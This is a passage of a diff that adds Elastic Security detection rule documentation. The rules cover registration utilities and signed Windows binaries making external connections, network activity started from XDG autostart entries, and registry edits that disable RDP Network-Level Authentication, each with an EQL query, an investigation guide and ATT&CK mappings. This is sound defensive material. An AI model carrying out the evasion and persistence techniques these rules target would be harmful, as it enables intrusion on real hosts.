"sshd-session", "gendb", "sqlplus" + ) + )] by process.name + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-via-registration-utility.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-via-registration-utility.asciidoc new file mode 100644 index 0000000000..c1612e30c0 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-via-registration-utility.asciidoc @@ -0,0 +1,186 @@ +[[prebuilt-rule-8-19-34-network-connection-via-registration-utility]] +=== Network Connection via Registration Utility + +Identifies the native Windows tools regsvr32.exe, regsvr64.exe, RegSvcs.exe, or RegAsm.exe making a network connection. This may be indicative of an attacker bypassing allowlists or running arbitrary scripts via a signed Microsoft binary. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: Sysmon +* Noise: Medium +* Performance: Normal +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 213 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Network Connection via Registration Utility* + + +By examining the specific traits of Windows binaries -- such as process trees, command lines, network connections, registry modifications, and so on -- it's possible to establish a baseline of normal activity. Deviations from this baseline can indicate malicious activity such as masquerading, and deserve further investigation. + +This rule looks for the execution of `regsvr32.exe`, `RegAsm.exe`, or `RegSvcs.exe` utilities followed by a network connection to an external address. Attackers can abuse utilities to execute malicious files or masquerade as those utilities in order to bypass detections and evade defenses. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. + - Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. + - Investigate the file digital signature and process original filename, if suspicious, treat it as potential malware. +- Investigate the target host that the signed binary is communicating with. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of destination IP address and command line conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id + [process where host.os.type == "windows" and event.type == "start" and + process.name : ("regsvr32.exe", "RegAsm.exe", "RegSvcs.exe") and + not ( + (?process.Ext.token.integrity_level_name : "System" or ?winlog.event_data.IntegrityLevel : "System") and + (process.parent.name : "msiexec.exe" or process.parent.executable : ("C:\\Program Files (x86)\\*.exe", "C:\\Program Files\\*.exe")) + ) + ] + [network where host.os.type == "windows" and process.name : ("regsvr32.exe", "RegAsm.exe", "RegSvcs.exe") and + not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", + "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", + "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", + "FE80::/10", "FF00::/8") and network.protocol != "dns"] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ +* Sub-technique: +** Name: Regsvcs/Regasm +** ID: T1218.009 +** Reference URL: https://attack.mitre.org/techniques/T1218/009/ +* Sub-technique: +** Name: Regsvr32 +** ID: T1218.010 +** Reference URL: https://attack.mitre.org/techniques/T1218/010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-via-signed-binary.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-via-signed-binary.asciidoc new file mode 100644 index 0000000000..b37a9754bc --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connection-via-signed-binary.asciidoc @@ -0,0 +1,173 @@ +[[prebuilt-rule-8-19-34-network-connection-via-signed-binary]] +=== Network Connection via Signed Binary + +Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Adversaries may use these binaries to 'live off the land' and execute malicious files that could bypass application allowlists and signature validation. + +*Rule type*: eql + +*Rule indices*: + +* winlogbeat-* +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Sysmon +* Noise: Low +* Performance: Normal +* Threat: Living off the Land +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Resources: Osquery + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Network Connection via Signed Binary* + + +By examining the specific traits of Windows binaries (such as process trees, command lines, network connections, registry modifications, and so on) it's possible to establish a baseline of normal activity. Deviations from this baseline can indicate malicious activity, such as masquerading and deserve further investigation. + +This rule looks for the execution of `expand.exe`, `extrac32.exe`, `ieexec.exe`, or `makecab.exe` utilities, followed by a network connection to an external address. Attackers can abuse utilities to execute malicious files or masquerade as those utilities to bypass detections and evade defenses. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate other alerts associated with the user/host during the past 48 hours. +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. + - Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. + - Investigate the file digital signature and process original filename, if suspicious, treat it as potential malware. +- Investigate the target host that the signed binary is communicating with. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. + + +*False positive analysis* + + +- If this activity is expected and noisy in your environment, consider adding exceptions — preferably with a combination of destination IP address and command line conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-1-setup[Sysmon Event ID 1 - Process Creation] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id + [process where host.os.type == "windows" and (process.name : "expand.exe" or process.name : "extrac32.exe" or + process.name : "ieexec.exe" or process.name : "makecab.exe") and + event.type == "start"] + [network where host.os.type == "windows" and (process.name : "expand.exe" or process.name : "extrac32.exe" or + process.name : "ieexec.exe" or process.name : "makecab.exe") and + not cidrmatch(destination.ip, + "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", "192.0.0.8/32", + "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", "192.31.196.0/24", + "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", "192.175.48.0/24", + "198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", "FF00::/8")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connections-initiated-through-xdg-autostart-entry.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connections-initiated-through-xdg-autostart-entry.asciidoc new file mode 100644 index 0000000000..76dbd09c67 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-connections-initiated-through-xdg-autostart-entry.asciidoc @@ -0,0 +1,212 @@ +[[prebuilt-rule-8-19-34-network-connections-initiated-through-xdg-autostart-entry]] +=== Network Connections Initiated Through XDG Autostart Entry + +Detects network connections initiated through Cross-Desktop Group (XDG) autostart entries for GNOME and XFCE-based Linux distributions. XDG Autostart entries can be used to execute arbitrary commands or scripts when a user logs in. This rule helps to identify potential malicious activity where an attacker may have modified XDG autostart scripts to establish persistence on the system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html +* https://hadess.io/the-art-of-linux-persistence/ +* https://www.elastic.co/security-labs/primer-on-persistence-mechanisms + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Network Connections Initiated Through XDG Autostart Entry* + + +XDG Autostart entries are used in GNOME and XFCE Linux environments to automatically execute scripts or applications upon user login, facilitating user convenience. However, adversaries can exploit this feature to maintain persistence by modifying these entries to initiate unauthorized network connections. The detection rule identifies such malicious activity by monitoring processes linked to XDG autostart and subsequent suspicious network connections, excluding known benign processes and internal IP ranges. + + +*Possible investigation steps* + + +- Review the process details from the alert, focusing on the process.entity_id and process.executable fields to identify the specific application or script that was executed through the XDG autostart entry. +- Examine the parent process information, particularly the process.parent.executable field, to confirm if the process was initiated by a legitimate session manager like /usr/bin/xfce4-session. +- Investigate the network connection details, paying attention to the destination.ip field to determine if the connection was attempted to an external or suspicious IP address not covered by the internal IP ranges specified in the query. +- Check the process.args field for any unusual or unexpected command-line arguments that might indicate malicious intent or unauthorized modifications to the autostart entry. +- Correlate the alert with other security events or logs from the same host.id to identify any additional suspicious activities or patterns that might suggest a broader compromise or persistence mechanism. +- Validate the legitimacy of the process.executable by comparing it against known benign applications listed in the query, such as /usr/lib64/firefox/firefox, to rule out false positives. + + +*False positive analysis* + + +- Network connections from legitimate applications like Firefox or FortiClient may trigger false positives. To handle this, add these applications to the exclusion list in the detection rule. +- Internal network traffic within known safe IP ranges can be mistakenly flagged. Ensure these IP ranges are included in the exclusion criteria to prevent unnecessary alerts. +- Custom scripts or applications that are part of the user's normal login process might be misidentified. Review and whitelist these processes if they are verified as non-threatening. +- Regular updates or maintenance tasks that initiate network connections during login can cause false alerts. Identify these tasks and adjust the rule to exclude them if they are part of routine operations. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further unauthorized network connections and potential lateral movement. +- Terminate any suspicious processes identified as being initiated through XDG autostart entries to halt any ongoing malicious activity. +- Review and remove any unauthorized or suspicious XDG autostart entries to eliminate persistence mechanisms established by the attacker. +- Conduct a thorough scan of the affected system for additional indicators of compromise, such as unauthorized user accounts or modified system files, to ensure comprehensive remediation. +- Restore any altered system configurations or files from a known good backup to ensure system integrity and functionality. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems may be affected. +- Implement enhanced monitoring and logging for XDG autostart entries and network connections to detect similar threats in the future and improve overall security posture. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +*Custom Ingest Pipeline* + +For versions <8.2, you need to add a custom ingest pipeline to populate `event.ingested` with @timestamp for non-elastic-agent indexes, like auditbeats/filebeat/winlogbeat etc. For more details to add a custom ingest pipeline refer to the https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html[guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, process.entity_id with maxspan=1s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and ( + (process.parent.executable == "/usr/bin/xfce4-session") or + (process.executable == "/bin/sh" and process.args == "-e" and process.args == "-u" and + process.args == "-c" and process.args : "export GIO_LAUNCHED_DESKTOP_FILE_PID=$$;*") + ) + ] + [network where host.os.type == "linux" and event.type == "start" and event.action == "connection_attempted" and not ( + destination.ip == null or destination.ip == "0.0.0.0" or cidrmatch( + destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8", "172.31.0.0/16" + ) or + process.name in ( + "telegram-desktop", "firefox", "gnome-calculator", "remmina", "spotify", "librewolf", "fortitraylauncher", + "flameshot", "thunderbird", "update-manager", "warp-terminal", "obs", "transmission-gtk", "telegram", + "mintupdate-launcher", "firefox-bin", "xbrlapi", "gnome-software" + ) + ) + ] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Boot or Logon Autostart Execution +** ID: T1547 +** Reference URL: https://attack.mitre.org/techniques/T1547/ +* Sub-technique: +** Name: XDG Autostart Entries +** ID: T1547.013 +** Reference URL: https://attack.mitre.org/techniques/T1547/013/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-level-authentication-nla-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-level-authentication-nla-disabled.asciidoc new file mode 100644 index 0000000000..106e888a4b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-network-level-authentication-nla-disabled.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-network-level-authentication-nla-disabled]] +=== Network-Level Authentication (NLA) Disabled + +Identifies the attempt to disable Network-Level Authentication (NLA) via registry modification. Network Level Authentication (NLA) is a feature on Windows that provides an extra layer of security for Remote Desktop (RDP) connections, as it requires users to authenticate before allowing a full RDP session. Attackers can disable NLA to enable persistence methods that require access to the Windows sign-in screen without authenticating, such as Accessibility Features persistence methods, like Sticky Keys. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.registry-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* logs-crowdstrike.fdr* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.microsoft.com/en-us/security/blog/2023/08/24/flax-typhoon-using-legitimate-software-to-quietly-access-taiwanese-organizations/ + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Data Source: Sysmon +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 211 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Network-Level Authentication (NLA) Disabled* + + +Network-Level Authentication (NLA) enhances security for Remote Desktop Protocol (RDP) by requiring user authentication before establishing a session. Adversaries may disable NLA to exploit vulnerabilities at the Windows sign-in screen, bypassing authentication for persistence tactics. The detection rule identifies registry changes that disable NLA, signaling potential unauthorized access attempts. + + +*Possible investigation steps* + + +- Review the registry event logs to confirm the modification of the UserAuthentication value in the specified registry paths, ensuring the change was not part of a legitimate administrative action. +- Identify the user account and process responsible for the registry modification by examining the event logs for associated user and process information. +- Check for any recent Remote Desktop Protocol (RDP) connection attempts or sessions on the affected host to determine if unauthorized access was achieved following the NLA disablement. +- Investigate the timeline of the registry change to correlate with any other suspicious activities or alerts on the host, such as the execution of unusual processes or network connections. +- Assess the host for signs of persistence mechanisms, particularly those leveraging Accessibility Features like Sticky Keys, which may have been enabled following the NLA disablement. +- Evaluate the security posture of the affected system, including patch levels and existing security controls, to identify potential vulnerabilities that could have been exploited. + + +*False positive analysis* + + +- Administrative changes to RDP settings can trigger false positives when IT personnel intentionally modify registry settings for legitimate purposes. To handle this, create exceptions for known administrative activities by documenting and excluding these specific registry changes from alerts. +- Software updates or installations that modify RDP settings might be flagged as false positives. To mitigate this, maintain a list of trusted software and their expected registry changes, and configure the detection system to ignore these during update windows. +- Automated scripts or management tools that adjust RDP configurations for compliance or performance reasons can also cause false positives. Identify these tools and their expected behavior, then set up exclusions for their registry modifications to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Re-enable Network-Level Authentication (NLA) on the affected system by modifying the registry value back to its secure state, ensuring that "UserAuthentication" is set to "1" or "0x00000001". +- Conduct a thorough review of recent user activity and system logs to identify any unauthorized access or changes made during the period NLA was disabled. +- Reset passwords for all accounts that have accessed the affected system to mitigate potential credential compromise. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring on the affected system and similar endpoints to detect any further attempts to disable NLA or other suspicious activities. +- Review and update endpoint security policies to ensure that registry changes related to NLA are monitored and alerts are generated for any unauthorized modifications. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/m365-defender[Microsoft Defender XDR] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-reg-setup[Sysmon Registry Events] + + +==== Rule query + + +[source, js] +---------------------------------- +registry where host.os.type == "windows" and event.action != "deletion" and registry.value : "UserAuthentication" and + registry.path : ( + "HKLM\\SYSTEM\\ControlSet*\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\UserAuthentication", + "\\REGISTRY\\MACHINE\\SYSTEM\\*ControlSet*\\Control\\Terminal Server\\WinStations\\RDP-Tcp\\UserAuthentication", + "MACHINE\\SYSTEM\\*ControlSet*\\Control\\Terminal 